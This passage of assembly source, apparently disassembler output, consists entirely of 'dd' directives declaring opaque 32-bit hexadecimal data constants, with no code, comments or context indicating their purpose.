		dd 1CA1CE0Bh, 1DF96F0Ch, 85581A00h, 0D134E9ACh,	0C8A100F8h
		dd 0C0098406h, 0F90C6A39h, 316EFE83h, 23F74821h, 48FD1D00h
		dd 6745DDA4h, 8F464B00h, 0D118AF2Ah, 3872F3FCh,	0C854CA92h
		dd 0CDAEC0D7h, 0D60A4F9Fh, 0EC9AE766h, 0E08C802h, 9C78CCEDh
		dd 0B3465664h, 68FFCF14h, 5180F63Ch, 0E8FBC439h, 2043EB3h
		dd 0B8664738h, 0C71E5980h, 0D39DE001h, 4B880031h, 0B5A727A8h
		dd 0D5C4F200h, 0C5D436B6h, 5B4C00E4h, 13822045h, 0A5F0ED7Dh
		dd 56B6D60Ch, 1006C088h, 3DA3201h, 1DEE5F2Ah, 8C41B12Dh
		dd 2F81A893h, 0AC231Ch,	2E01225Fh, 74001955h, 9DA2C37Ch
		dd 4B21ECF0h, 1E88017Ah, 368830FFh, 852F0014h, 0C589A695h
		dd 0AA70794h, 763D1D55h, 0E10F61A2h, 817D302Bh,	86ED1045h
		dd 5701B862h, 7019599Eh, 0A0463A0Dh, 0E9A11A2Bh, 9692CC47h
		dd 0B64C407h, 4B710A4Fh, 0E5B5FC68h, 0E8E8F8ABh, 0E71D301Bh
		dd 1205269Ch, 0B8407FFFh, 845A828h, 47523CD0h, 8B1044DCh
		dd 61212B2h, 0CCCB9874h, 7EC06688h, 0C0B01957h,	9583D42Ah
		dd 0C60953AFh, 985F06E5h, 34F97C64h, 827896A6h,	0F0D93964h
		dd 3F187771h, 0A6E0C11Ch, 0AC1AC2C0h, 3EFF4526h, 0B73F151h
		dd 6958221Ch, 0D511B01Dh, 44CD2080h, 1D09A510h,	423A58BAh
		dd 0FE50820Ch, 2060527Bh, 0D348E082h, 0FE9CC54Ch, 63D43089h
		dd 5A01262Bh, 4F3902D0h, 8489B5Eh, 0D7FA8665h, 0F300C4BCh
		dd 0DF589C3Dh, 0E2060C66h, 0BD18D18Ah, 9A013225h, 0C448C5BCh
		dd 73586065h, 4D993E1Eh, 0AB881700h, 7720F4ACh,	3DC28BEh
		dd 3008EDB8h, 8D819C86h
		dd 0A3ABEC1Eh, 0D0D2D80Fh, 1D495FDh, 0A003BE50h, 0A1E0C572h
		dd 167A008Bh, 13C40785h, 0C4B8771Ah, 0A7CF0C14h, 595D1094h
		dd 9A241658h, 0CA0D9D4Ch, 1680AE81h, 0BACC60C1h, 0BB4425F0h
		dd 828D041Bh, 0FCB92B2Ch, 683C04h, 0BB50175Dh, 816F13E9h
		dd 48FAF6ECh, 7F7EE4A0h, 3C284A00h, 1D185FA2h, 0B42E53DBh
		dd 2B305AA2h, 0A41F4945h, 75E7582h, 291A6869h, 8C63A87Ch
		dd 995C5E00h, 9CA9B13h,	7D12026Bh, 6AFD240Bh, 0E3212C5Ah
		dd 89527BFh, 1680D591h,	0B6C766A5h, 2100C174h, 0D6CF922Dh
		dd 4ACB4E52h, 0D388C06Fh, 1A32B6D4h, 6209106Ch,	7964514Ch
		dd 0E32D18D3h, 0E7A5B06Fh, 0C53AC304h, 74B80660h, 128C6FBCh
		dd 0CCC606D2h, 4A091D64h, 0C7ADC187h, 60D044D4h, 0E180B0h
		dd 10B1FFA9h, 4B611B54h, 2700525h, 0BBB3F24h, 5A11301Dh
		dd 0F8F2482h, 5EB88840h, 489A2358h, 0D21C0490h,	6C01C056h
		dd 0AAC9089Dh, 4C706C59h, 7D66109h, 91E01733h, 0FF2C8068h
		dd 166A04C1h, 90A9644Fh, 3B9AEA64h, 0A4D5F02Ch,	0DA057D1Fh
		dd 80B3BDD2h, 0AC30D4B2h, 0EDE21FA2h, 291BC92Bh, 0AB0864A7h
		dd 68297D8Bh, 365838DBh, 34BD1CFEh, 59FD43F4h, 0ECE05BC2h
		dd 5EF4D1D9h, 0C14AD574h, 7723882Fh, 0EEE49D00h, 79BA647Fh
		dd 457300F5h, 0F6747E2Ah, 84016B25h, 56CDE3EDh,	1800C8BCh
		dd 9800442Dh, 0E6A59660h, 0C0ECB507h, 4CDE31B1h, 9BF4C56Eh
		dd 58443Ch, 0E7AA85BEh,	24667595h, 28A4188Bh, 6DA14E8h
		dd 0E6F8B8BFh, 1E32138Ch, 0FC3CCD66h, 0C77D952Ch, 84AAC388h
		dd 6861BC8Dh, 0A4C03A2Dh, 379C0434h, 0E2E45DBBh, 401B1368h
		dd 0D723042Fh, 714B0A00h, 0E82E16EBh, 6E310B3Bh, 0D4406A5Eh
		dd 0FA011885h, 21061E91h, 403812C6h, 0E824EF84h, 6C305F78h
		dd 12ECEAB5h, 0F04FB3FAh, 0FF1F21EEh, 0B00071F5h, 82FC55CEh
		dd 66D31695h, 1A0C82A3h, 68516073h, 2A0A1618h, 0E2713439h
		dd 82C8200Bh, 17C3218h,	281A187Fh, 0B39C048h, 9D94201Fh
		dd 63005416h, 60FE0B31h, 996B294h, 0A7C1E85Dh, 5A00F0E4h
		dd 1FDBA430h, 4F1BCC47h, 956C00AFh, 16B4D97Ch, 804BC012h
		dd 0AFE220B2h, 56B6D30h, 0FE8B0891h, 99B04087h,	82A44A73h
		dd 81D47E3Bh, 0AC208A97h, 0C8FD1431h, 0BB202828h, 5969A4B4h
		dd 18767974h, 37EF07C7h, 0F3DBF412h, 61D31EE9h,	0DCD30FAAh
		dd 0D2BC6509h, 7B79C4h,	0CDF28776h, 25D773B5h, 0DA1C670Bh
		dd 35A8A3CAh, 0D0009589h, 0F0605265h, 21465EF7h, 406F8EF8h
		dd 7E5483E8h, 824E2900h, 23630DE5h, 0D06569B5h,	91EF8865h
		dd 1C5808Ah, 0F1CE2334h, 5586F4C6h, 0E29F5E27h,	840C7910h
		dd 0A421ED1Bh, 0D30B1EDCh, 83847DACh, 0C038414Fh, 794374A5h
		dd 80239D28h, 6EB16631h, 0AC983D81h, 993003DEh,	7EDAA3D3h
		dd 78C6EEA1h, 0AE850A30h, 82C0E8CBh, 911D34F7h,	832A9F98h
		dd 5ED41AC8h, 4CF27EC2h, 197058BBh, 25470BBh, 2362EA81h
		dd 0C8F27009h, 7CBF9220h, 130D5B65h, 0F794A2A8h, 0F620C038h
		dd 1777F42Eh, 4C8F2C01h, 97B6E17Dh, 4AC9A46Dh, 6626E402h
		dd 233D7D00h, 37D62C84h, 8D961F0Ch, 80B028FDh, 0CFB75F61h
		dd 184FF161h, 199AFF0Ah, 0F6000217h, 31F56792h,	284D70h
		dd 6BD4881Ch, 6DE89F4Ch, 0B552E212h, 0B4128CF0h, 17DBC0B4h
		dd 91220F3h, 8429DC4Ah,	23842F3Bh, 1A0305B3h, 3AAA12C3h
		dd 3AE2350h, 0CB14B0ECh, 52994BB8h, 478B4494h, 719CE9BEh
		dd 0E0980BCAh, 0FF0E7EFBh, 62446F1Eh, 48E7EB05h, 27664064h
		dd 2002D2F4h, 84B2C2A4h, 0D7E46CE5h, 3650C660h,	98D2A72Bh
		dd 0B718AB59h, 46004CE6h, 0E5125E65h, 0F8BE99h,	9B1103CDh
		dd 152B6310h, 2846854h,	1D80B4EEh, 0B07CE706h, 28C59BCh
		dd 3362F6BCh, 0B09053A5h, 1680C913h, 0D0CB091Ah, 0F45043B6h
		dd 1F17B702h, 0F8C15362h, 7033FB80h, 0A3FC24h, 0FDB39214h
		dd 0A039C67h, 0C339D52Dh, 0F535A821h, 66BF0B79h, 0F0D97BAFh
		dd 0DC18ACD9h, 7501B9F8h, 0B48F93B7h, 50F9F78Dh, 0F82ED980h
		dd 1907EC16h, 9AF2E403h, 0FB8EB824h, 0A506C028h, 7950B940h
		dd 0E76C18D7h, 52CD8F8h, 346A8FA5h, 0E3EC81DFh,	548104C0h
		dd 17DC8D52h, 40944A96h, 9A9106ACh, 10003F3Ah, 62270357h
		dd 0BDFCEED8h, 0AC837089h, 2BB94A39h, 0D8202A57h, 4979A6h
		dd 0C630F9F1h, 0AB151AD6h, 0C9B6BF0Fh, 454A2070h, 1F265C76h
		dd 45529D6Ah, 56551B62h, 0C5F861E4h, 42A05096h,	54394E57h
		dd 0A21D89B9h, 29998006h, 0BF39D0Dh, 0EA011EA8h, 0E402DC41h
		dd 0A5FCDE1Fh, 0F48D222Eh, 0E8B28296h, 23AC2B4Eh, 0C53A008Bh
		dd 0CEDBE532h, 0D46EF816h, 0E133E842h, 0D934F13Ch, 7441876h
		dd 55AAF8B7h, 81B1A43Dh, 0C665A7F0h, 0C2736840h, 988EAD4Bh
		dd 0D6C0E888h, 9AF2147h, 8852B6D3h, 9D0068D2h, 0D59B0D2Fh
		dd 18090878h, 68A36B02h, 0C7025361h, 0EC9F2EC1h, 0BBE8A07Bh
		dd 30CF0159h, 0E361BA07h, 0CB099445h, 7813AD7Ah, 1B871770h
		dd 7024B4C2h, 0A00B9425h, 5F6A657Ch, 0A8626040h, 904F105Ch
		dd 0F9061A03h, 17618D12h, 0E2E6BFC1h, 3077F2E8h, 7E052FFBh
		dd 0FA1F4973h, 20750C0h, 0A4099D33h, 38003CF1h,	0DF43A609h
		dd 1A57277Dh, 0ACE454C5h, 5F06C460h, 8DF57700h,	549D0CD0h
		dd 0C2D92667h, 0D83D80F0h, 6683B83h, 150B0A0h, 201B1940h
		dd 0EB00C292h, 0BC38079h, 0B50AB67Ch, 0F7C01407h, 64A820EDh
		dd 0DD00ACC7h, 603607FEh, 275EBA90h, 8800BF53h,	0C5CD208h
		dd 0D60358C0h, 36B5FEh,	92D3E412h, 0DEEE50BEh, 0B84C8890h
		dd 6A809F74h, 0C406199h, 0D7A51EC5h, 0C3D2817Ch, 548BBC65h
		dd 0E080F6F8h, 75523D4h, 5D474B92h, 6CDAEB42h, 132B0B00h
		dd 0C301CC52h, 8B12183Ah, 90918CD1h, 0ED0D2504h, 50F0151Eh
		dd 0C70C171Ch, 0DA631319h, 0FA08C008h, 13036698h, 88C2E9EBh
		dd 35484048h, 0F2DB09ACh, 5190F978h, 414E0C65h,	2E342084h
		dd 0F6D1E740h, 7CB19F21h, 50623E22h, 38F205B5h,	138EBA20h
		dd 0D047830Bh, 7420EFB8h, 5091E496h, 769F6A00h,	0D2A8C6AFh
		dd 0CF079A77h, 0F7C778A7h, 7435B0ECh, 43EE25C8h, 0D360686Dh
		dd 0B5065A7Ch, 9FD98898h, 0C33D40A0h, 98FFC502h, 409176D2h
		dd 0F8D0BE4h, 8347B0D7h, 0A66CBDA2h, 9024C4h, 6225232Fh
		dd 449755D8h, 0B5877191h, 235FC1F1h, 27C6C0Dh, 5835F782h
		dd 800076BBh, 0E33EF1C1h, 9DE8C61Ch, 0B3B7139h,	5AC330EEh
		dd 50A01E00h, 6DF780BEh, 80844514h, 0D71C100h, 6B934D5Ch
		dd 27AC9823h, 0B8CD5FA2h, 4D647EC0h, 0FB7C0B71h, 7885D8C7h
		dd 4BA4206Bh, 84A4593Dh, 465EC09Eh, 1FAD00D1h, 3A94EC70h
		dd 973035Bh, 2D18803Ch,	40BE2AE8h, 11C1704h, 0DCE7BADBh
		dd 740393A0h, 0D5DF9501h, 0C6629F4Eh, 0CA98043Bh, 81CF8530h
		dd 7534E800h, 53184194h, 3E5862C9h, 0C8584283h,	12E80F24h
		dd 314BDFEh, 99240B3h, 1AABF839h, 8F380513h, 81B049B1h
		dd 774BDACh, 0C2631053h, 0B545C85h, 44104B82h, 139081Dh
		dd 0C8C0CED2h, 25852B5Fh, 809D2F97h, 829F6F11h,	0C43F021Dh
		dd 39F1F0C8h, 706424A5h, 56B1D660h, 0C08EEE2Fh,	12010CE4h
		dd 0F30FEA16h, 3068A2A0h, 0B90067B7h, 0F44F88DAh, 0B4E6BCF5h
		dd 88A81468h, 0A9E5118Fh, 0B2FC53E1h, 3363F248h, 0D8FDA5D1h
		dd 0E607B5DBh, 0AC2D21A9h, 0EF42E1C7h, 129456AEh, 9CE0C2D5h
		dd 8142BCE3h, 305AE238h
		dd 97047156h, 0DFD5F920h, 0EA2AD0EDh, 9F860A9Ch, 7430BDADh
		dd 65076646h, 0B0C6F5EAh, 870EEC49h, 22EDA304h,	8A3AFCBh
		dd 903070B2h, 667616ACh, 2894808Bh, 0BD41A959h,	41300E7Fh
		dd 0C4DA9290h, 76CA8080h, 1C04FD42h, 580134D4h,	485855AAh
		dd 0F1010DB8h, 1301B707h, 0D472E4C2h, 23642F4Ah, 6D4E00AAh
		dd 9D5E580h, 93FD793Ch,	6C449D54h, 89A34BCh, 6C894E00h
		dd 0B56A4FB6h, 8B40E30h, 7DACFB45h, 8966004Dh, 8CCFEF82h
		dd 4900FFCEh, 0C45C9B85h, 7CA7BF05h, 8A360122h,	91D0B2FBh
		dd 173881FAh, 0ADF0FCF8h, 53411180h, 0B7B66589h, 3A4434A4h
		dd 896B0061h, 4103BE9Ch, 0FA00A149h, 0EF7B8AB7h, 1DAE924h
		dd 75A617A5h, 15B4D02Bh, 0E71A380h, 0A0C3003Eh,	0A1A9E353h
		dd 0F0F37EF2h, 4C0FCA46h, 6048B3FAh, 997AAD81h,	4DAE3C76h
		dd 0F4161A00h, 9501A206h, 9677BFCh, 206C1208h, 0F3FF003Bh
		dd 70A8C788h, 0C11485B3h, 0AC6C14ECh, 43008C49h, 0A153FE99h
		dd 0DE4201E1h, 0B1EB9E1h, 808A1D37h, 0E871CCDFh, 3C0C13E7h
		dd 0D068F5E3h, 31476003h, 0C1CE2BE9h, 22D94D2Eh, 0ED41441Fh
		dd 9E353D74h, 46BC71A0h, 0E05028FDh, 505FB629h,	4E004611h
		dd 0E5338968h, 0F402F520h, 16DAFA56h, 73A0801Eh, 0A4A66491h
		dd 3AD00B8h, 1A521338h,	0CA1D4914h, 0A518176Dh,	0FB7321h
		dd 0E53B937h, 0DE896202h, 9549A112h, 4523083Ah,	98ABBF00h
		dd 1240F37h, 0EE351748h, 4047CA2Bh, 2284AC88h, 90A94BE0h
		dd 426EF889h, 0B7B8CA3Ah, 50C048F8h, 0EA418F0Fh, 96B11E4Ch
		dd 80307084h, 8937DADh,	9F41503h, 0B86794A2h, 0F3FE3A80h
		dd 0CE1B0B2h, 49A03114h, 8C002A79h, 4DDD10F7h, 8B7A0Bh
		dd 1E05C226h, 27EEEBCBh, 0D7658500h, 2C03811Dh,	0B6E504FBh
		dd 819E55C4h, 53B3F7A0h, 6BA26FA0h, 3806B8B0h, 0F2521611h
		dd 0A80A788h, 34A37DEh,	90A10E8Eh, 5B89E352h, 8A9D8420h
		dd 281C7796h, 5828F84Eh, 0EC684C00h, 4DD1C75Ah,	7A2F3377h
		dd 21075B08h, 0D3EC800Bh, 0D9985700h, 0DE4E2926h, 0EC820120h
		dd 1881C750h, 0E06D8957h, 5202F0ECh, 0C67C598Fh, 0FCCE809Ch
		dd 0A87B31E2h, 643FAC0h, 0A5A77E20h, 5E1ED1B7h,	0D94FA478h
		dd 0BCB10322h, 0A310F0E7h, 9A9009EBh, 1098D651h, 7B03674Bh
		dd 2ECEC682h, 0D11F8038h, 6BB6009Eh, 6DD96903h,	5E289CB4h
		dd 0C600B49Ah, 0B840672Eh, 24FBEED0h, 24EEC2FAh, 0D2980114h
		dd 2167E63Dh, 821F180h,	70E8C68h, 0F0521738h, 37DFF0E7h
		dd 0BA14D2D7h, 2AC4613Ch, 5546ECCAh, 14380870h,	0C3C42252h
		dd 37F89040h, 777C974h,	81795C01h, 9F8C1E02h, 3E4C4h, 197BD20Eh
		dd 5AA9161Ch, 54229624h, 9E737080h, 2C10D38h, 3D586223h
		dd 884AA434h, 1985C4B7h, 0C0C0C12Fh, 5E39FDBh, 31F4B744h
		dd 0C0AC1DBBh, 0D2A18687h, 9CA0391Eh, 61C3A823h, 0BEC6A4B6h
		dd 86660428h, 0C0B720F7h, 4E2736E1h, 802CDF49h,	0C751EC83h
		dd 5A448C69h, 0EC7B090Eh, 9085B65Bh, 0C2B05F85h, 4B0F26C1h
		dd 0A45CEC80h, 70C9AE3Ah, 1980200Eh, 4C740B68h,	0EA1E4CA9h
		dd 0D354006Fh, 2096E0C7h, 0B9B59CA8h, 9FD9E03h,	0B19CA661h
		dd 7FDC6BB1h, 14644DADh, 4F41880h, 448C11A2h, 19013924h
		dd 4686D6F4h, 0A45031F2h, 0E816C389h, 0BC4700E9h, 0EF249169h
		dd 6024B52Fh, 0C58290F5h, 47FA8EB0h, 8F916F18h,	56CE800Ch
		dd 1C31C28Dh, 0A809768h, 84A04C32h, 0C28E8ACFh,	1230667Ch
		dd 0A20208F4h, 26649A21h, 0F41BB740h, 0D31441F6h, 0EF03412h
		dd 2172D8B8h, 80F53002h, 26FA288Ah, 52465EE8h, 6A998E03h
		dd 0C1E07D8Ch, 0A630A951h, 7AE5D9A4h, 106E0A2Ch, 0A48A63h
		dd 0C5F6B24Ch, 8D005869h, 2B2C4B20h, 0F728742h,	0F730B990h
		dd 0FC604E2Ch, 14DB3B09h, 4C140667h, 2BCB24D4h,	21842840h
		dd 5A81F11Bh, 0EFB66889h, 0BEE4C5CEh, 75895280h, 0BD70DE59h
		dd 44030E00h, 1145CDC2h, 7BDC9973h, 0E35662E4h,	51C0B7DAh
		dd 219D82Dh, 0F29EEC9Ch, 0B4813D72h, 0D247634Dh, 0CB2D9882h
		dd 54778C90h, 0BCC62C12h, 0C8027413h, 0E95C552Bh, 0C7104A18h
		dd 7304B58Dh, 0D3B4F4C2h, 0BAC0B8C7h, 52F55A8h,	3368541h
		dd 86880F11h, 0EC03200h, 0F3003E0Ah, 3D2C5915h,	90ED9F7Eh
		dd 76A4648h, 52153809h,	0C13217B4h, 37E10D20h, 8C390B4Eh
		dd 4C06E5AFh, 7B26A1A5h, 0F944BCF2h, 2AB814D0h,	0A1489264h
		dd 13186350h, 0A203F408h, 400EC439h, 0CDF41CB4h, 0DFD4003Ah
		dd 277B8F7Eh, 0CA51FAC0h, 0C0D01B34h, 39E5E695h, 100B0C85h
		dd 75C8AE03h, 52FD6A40h, 672330FAh, 12380203h, 0C2629452h
		dd 37307627h, 2C3A5h, 0E3A9BA5Dh, 5848DD56h, 2C4840B1h
		dd 0C04654h, 0E9AA82B0h, 122685BCh, 8BB7A52h, 4CC01978h
		dd 25B66E89h, 0C814697Fh, 890564ECh, 0D02A591Ah, 145250C8h
		dd 804F08BBh, 0FFD29F02h, 74606D39h, 0AE12702Ah, 0FC9A1448h
		dd 0A0057FC0h, 0BFE53EEh, 71B9A130h, 2C9F8E4Dh,	84E0A56Eh
		dd 8021C33Eh, 0D5F4B258h, 2E184A60h, 609D7244h,	606B3CDFh
		dd 9F493069h, 0D05810h,	0DCEF08Dh, 92033EB8h, 20F8A8h
		dd 2C67C5B4h, 4484D919h, 798E5037h, 79164F00h, 20EF05E3h
		dd 8EAB6AB9h, 0C0568858h, 0DB68F517h, 0D7C14814h, 23944890h
		dd 0EC6C0FFCh, 0CE71C745h, 640F00C8h, 9CBAAEECh, 6BF828DAh
		dd 6F94A1C0h, 0C1F25072h, 264BEF30h, 8EE43674h,	0BBC0C471h
		dd 8ED0B321h, 0A61E2F14h, 8D0477ACh, 6EC2A3ABh,	779A8B0h
		dd 576A77B6h, 50458FB4h, 1E44033h, 65F09E2Fh, 0DB003875h
		dd 0C1FDF254h, 0ECAD7EEEh, 8129C03Ch, 41F15EEBh, 78009D71h
		dd 5CE535DDh, 14CBCF04h, 0B411A4D5h, 0B072E041h, 95178900h
		dd 3E9726B4h, 0E302F4B0h, 0F36D3FC0h, 78B7E19Dh, 6FF14420h
		dd 18406937h, 0F76A70FEh, 0BB155600h, 0C386415Bh, 2420901Dh
		dd 40107B30h, 0E6A06F0Dh, 0F736B30Bh, 11101F28h, 105893Dh
		dd 3036A760h, 20D51892h, 0A27A0228h, 0A8342830h, 4D50DB3Ch
		dd 2BB1886Ah, 0D8320D36h, 6F300FE2h, 9D160020h,	0FE8C8225h
		dd 0AE05A463h, 0B6F9072Eh, 0EAB2C0C7h, 0B8F488BEh, 4860FB12h
		dd 235DEC6Fh, 5111C9C7h, 0EC670A02h, 0D1C070E3h, 0CF48E1CBh
		dd 0D8B02496h, 91641D25h, 298B80C3h, 0BD20FF5h,	981E9460h
		dd 0AD8D0C02h, 1011849Fh, 0DBED9D80h, 0A5731AE3h, 256CB87Bh
		dd 48AACA21h, 0BC1C6C31h, 0C86314DAh, 0A0F27905h, 49D40B36h
		dd 58492889h, 3A422A5h,	7E78D8BCh, 2501FF5Fh, 61D61418h
		dd 824B784h, 79C413B4h,	5990D1A9h, 38B02520h, 1E961890h
		dd 39B1FC89h, 0EA0FCC2Ch, 2814ACEh, 0A55796D2h,	11549DE8h
		dd 97868013h, 2A24EC41h, 9C40854Ch, 0F11A62D0h,	6B89D01Bh
		dd 698721B6h, 7D4791h, 131B8965h, 10F0E46Eh, 0A0A62D25h
		dd 94ECE9DCh, 8E550030h, 2AA94231h, 0AD00A225h,	0A32D9CAh
		dd 2CD29C6Dh, 0AE6C3316h, 0B700D670h, 0B862F343h, 4C5534F5h
		dd 80160DAh, 0FDA094CFh, 0B24063ACh, 0E8963046h, 4BB1F607h
		dd 0C2D2411Dh, 88C8438Fh, 0BCA008h, 0BACEB553h,	0C92DADF4h
		dd 6D995E61h, 0BC502996h, 0A8585Bh, 2F1FEE11h, 8E90B221h
		dd 4BBDAB01h, 8CA47FD2h, 0CE018433h, 0BA8D4002h, 9DB9D4B0h
		dd 97482307h, 65102DB2h, 3073F7h, 53BE1E8Ch, 0EAA4A0A2h
		dd 428BD48h, 0C7F8EC8h,	3A154C0h, 509259h, 5E2B998Ah, 0B4445062h
		dd 0B51FBCE2h, 0D4876D7Ch, 14F01AEEh, 0E0E2C882h, 0E0E7269h
		dd 0B11BBB0Bh, 6A87A080h, 0F0950FCh, 404E9739h,	0B2C5A24h
		dd 0C16B7ECBh, 66E8008Eh, 3DDE5B09h, 442C0324h,	91E73F08h
		dd 915DAB0Fh, 518B5E48h, 67B60C82h, 4F604C71h, 0FEBF8969h
		dd 46F4FDh, 0BA16B806h,	0CDB1E7E0h, 1DD73000h, 0D3EB0E54h
		dd 0FC5F095h, 0ECB35294h, 7FA1C078h, 88A81F24h,	0A3655F64h
		dd 0C746888Ch, 0DF6F0039h, 0A0093FDDh, 18E02DAh, 7EED3C1Ch
		dd 10F2DC22h, 0EAA830h,	8B56B3FFh, 64DB52E3h, 0BBB06C61h
		dd 0B84EB9A4h, 0AEC04488h, 6233BFh, 0BA5A184Ch,	1CCCEBCAh
		dd 553DD700h, 9CB7E7B5h, 30AA48AEh, 56016802h, 0E37EBA8Ch
		dd 0DF78FD00h, 74C5DBBh, 9A3D392Bh, 90C855F1h, 32F2ACA0h
		dd 0ED1371C0h, 99C0D0Ch, 0F6E4C37Bh, 0EE903A01h, 4200604Eh
		dd 0E9A4175Ch, 3CA330E6h, 380FE27Dh, 92DAE5B4h,	5468C099h
		dd 0EC8CA7ACh, 9E410460h, 0C74A06F2h, 0B4E2374Ch, 72F0A14Dh
		dd 13B43BC4h, 0E8D2548Ch, 1C44F2h, 98AD0586h, 5DAAD2E6h
		dd 465EB494h, 651F0546h, 5280B81Ah, 92B6DAA1h, 0FFD50124h
		dd 813D2C58h, 65D0209Fh, 0B208E89Eh, 289609F9h,	44E72020h
		dd 903474Bh, 0AB9A9DC5h, 5059E0DBh, 0B8A35C72h,	7ED4094Eh
		dd 27C468E5h, 47644060h, 12E38613h, 2CB63C02h, 8460DB16h
		dd 0F014DA4Ah, 905DA1CCh, 342BC04h, 0FFA18A72h,	48823C56h
		dd 54270448h, 3D031D00h, 0C884141Eh, 38CE7894h,	4899B24Ah
		dd 20547846h, 0E0BB1468h, 3331E270h, 2A714FF5h,	963E9CF8h
		dd 206B6F4Eh, 0F773D201h, 0C88576FCh, 3D092445h, 65285399h
		dd 6055C400h, 7058187Dh, 8008BE67h, 2F22BD39h, 816B3D6h
		dd 2492A409h, 0E35220CEh, 8CA151F1h, 4A046933h,	5323402Fh
		dd 4F40A21Ch, 21C33FA6h, 0A736004Dh, 0A892898Bh, 0ACB99997h
		dd 27037503h, 0B211F00Ah, 4CA9202Ah, 8AC95D0Ch,	9252528Eh
		dd 0B520C470h, 97B1004Eh, 0B91B2BB8h, 0D815AF7Ch, 2831091h
		dd 9DC04ADDh, 0DC90A5BBh, 9439020h, 3AC6FA19h, 923CE807h
		dd 54015BFDh, 9C7C02C2h, 38C3ABCh, 0FA9F71F4h, 580753F2h
		dd 35AD3A88h, 48B89B21h, 0C7C82DC8h, 0A07BA130h, 728755Fh
		dd 9430BBFAh, 0C75A803Dh, 15B4B2Eh, 0F5C4B63Ch,	26606CAFh
		dd 4674286Ch, 3152013Dh, 0EC9C9D32h, 0DE879878h, 4A782050h
		dd 57036C75h, 7037594Bh, 235D890Eh, 0F530A440h,	0C31CA1Bh
		dd 2CAB2DC8h, 32E2BE03h, 84F2E829h, 0C93C5100h,	3DF149A0h
		dd 78A6B7h, 2570A2E7h, 798436A4h, 0EF475304h, 408D4001h
		dd 0EC6E30CEh, 6143C7E6h, 0EC660980h, 0A00B93Eh, 54E85E75h
		dd 90F5E663h, 0ACD51370h, 0ED3800DFh, 860A0E53h, 36B47900h
		dd 3230E5C8h, 2A101280h, 8B10B0A1h, 630E8C4Ch, 5843965Ah
		dd 68106CD0h, 6D48603Fh, 0F92FF8h, 15105061h, 8ADB0E67h
		dd 25557807h, 2D816A17h, 0D442D056h, 1CAC507Dh,	6EF83643h
		dd 5700F628h, 0B9FA64BCh, 20F340A6h, 0B8258F8Eh, 24C69B0h
		dd 12FE848h, 0F8DB0640h, 0D0313CA0h, 0CAECC781h, 0D8488233h
		dd 55F4E96Fh, 5144A98Bh, 0C4B45C10h, 1896F137h,	0A4478663h
		dd 98BA8CE0h, 10BB24A6h, 566AB150h, 3950854Bh, 208B814Eh
		dd 9FC00FC8h, 180488h, 7F9E6728h, 3EC5F280h, 78130B36h
		dd 0A4292090h, 0AB148EEEh, 9ACB845h, 0C40CC92Dh, 71F4992Ch
		dd 7818C3h, 29327628h, 0C2A0513Ch, 0F290AA54h, 0C3C03454h
		dd 0D89F6B00h, 0B4F55CAFh, 0C94732A1h, 0E0193E88h, 28C690Ch
		dd 52183804h, 0C541502h, 5FC7450h, 0B7B88F37h, 549C4077h
		dd 5BB4D5EDh, 81A0A658h, 9AA44FA9h, 80DC68A9h, 90EE6CE4h
		dd 0E501D7EBh, 51BE1834h, 0E82DA75Ah, 523B60Fh,	2AF857A1h
		dd 74E0410Eh, 42146865h, 0C078F7D8h, 84F9CE03h,	17FDDC01h
		dd 969CB72Eh, 4801AC7Ch, 1CF73189h, 0E228634Eh,	0AB1A3056h
		dd 0D43F9301h, 4ADF8EC7h, 1C99B441h, 0ECDA8980h, 0FF471FF1h
		dd 4C4B501h, 64E4E7C7h,	959F9830h, 9E00E40Eh, 6EF053C2h
		dd 0E310E490h, 322F637Dh, 3C438422h, 9650BC5Ah,	2D00B430h
		dd 0B91B1363h, 7542A62h, 6FEA6015h, 2C3431AEh, 48F1A822h
		dd 0B71A4B10h, 4AB3684h, 74880FB8h, 713D6002h, 5E1C78Ch
		dd 9C16DE01h, 0C03671B3h, 4F83930h, 1AFA9E53h, 68408040h
		dd 4A322D2Ch, 0C1AD689Dh, 2E5318h, 0CCFBD68h, 0C20C2117h
		dd 800DFF3Eh, 80389C99h, 75D55C79h, 0B000E310h,	0FDA8EDECh
		dd 277651Bh, 929F2394h,	422034F2h, 38EF142Bh, 4F8F97BFh
		dd 10005B91h, 1830F68Eh, 0C32A6A12h, 0B2B82821h, 7A0402Eh
		dd 0EB744ACFh, 0E8A9D50Eh, 1405E139h, 0C7C8388h, 4C30F2BDh
		dd 0AA6113FDh, 3F00BFB0h, 7CDA9479h, 2CDCA047h,	4A960001h
		dd 0AD0B2E27h, 3EF89C2Ah, 0F12F5505h, 0A0C460B2h, 45888CCEh
		dd 9148C8C0h, 0F4D803D9h, 0B2C2DADFh, 0B8C81DAAh, 0BA2ED20Dh
		dd 2D869810h, 1EB9B52Eh, 4FF89CDh, 9074997Eh, 238337A4h
		dd 0F2E20800h, 14D2F093h, 2590B66Fh, 0A6914817h, 305B5581h
		dd 5C22A3h, 9493CB2Ah, 25C24B25h, 4CA259F4h, 20B4096h
		dd 7A6564h, 425AC29Fh, 699D6496h, 56E55B20h, 0E8E0C174h
		dd 0F2A30067h, 2680B256h, 444C4E10h, 80C8B8FAh,	3BEDBD6Ch
		dd 0EA960FE8h, 0C84E6286h, 95D5D360h, 0BA120EC9h, 5C0BED1Eh
		dd 0E5D44481h, 0F4701418h, 1131A223h, 87653A15h, 426123F4h
		dd 0C92BDE11h, 3C0B8832h, 0D4A028DBh, 83EC35Dh,	5FC6C48h
		dd 0CFAA9C56h, 0B6F5DC06h, 6F481431h, 11AC407Eh, 1FA4EA8Ch
		dd 8701C84Ch, 0A7B6D128h, 5960BDE1h, 0D22861C0h, 0FEEE9C40h
		dd 816A2F12h, 27E258A2h, 98406C30h, 0B21FFE64h,	0B4094980h
		dd 0C840CB96h, 3685C146h, 0A9A07B8Ah, 42F2149Eh, 72C1F04Bh
		dd 33EA29C6h, 3052A2D8h, 7B01C5E0h, 0C6B8544Ch,	2EE0E78Eh
		dd 0B6F809CBh, 0C800ED0h, 5DD278B9h, 0E4BE8090h, 26465Eh
		dd 3EB59EAEh, 9452892Bh, 0E12F01D0h, 71C82106h,	0E4C83588h
		dd 5202809Fh, 26C616AAh, 4EC560Bh, 0BC6AA4A0h, 0B5272F38h
		dd 0CEA988B4h, 144E0409h, 0B6690BACh, 0C2045C4h, 59843D2Bh
		dd 0B04A8524h, 4C3A4D93h, 0DD004723h, 946BA1DFh, 0C82406A2h
		dd 0D01B9B86h, 891B890h, 3551AC01h, 52CE43BBh, 9C9A2C34h
		dd 3C1D6980h, 0C281C011h, 30CE7934h, 1D3AE838h,	0A38B1D38h
